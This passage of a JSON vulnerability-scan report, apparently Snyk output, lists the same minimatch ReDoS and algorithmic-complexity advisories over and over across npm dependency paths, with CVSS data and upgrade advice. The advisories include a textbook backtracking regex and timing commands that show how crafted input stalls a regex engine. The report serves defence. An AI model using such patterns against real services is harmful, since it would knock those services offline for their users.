| 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmsearch@9.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmsearch@9.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmsearch@9.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmsearch@9.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmteam@8.0.2", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmteam@8.0.2", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmteam@8.0.2", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmteam@8.0.2", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": 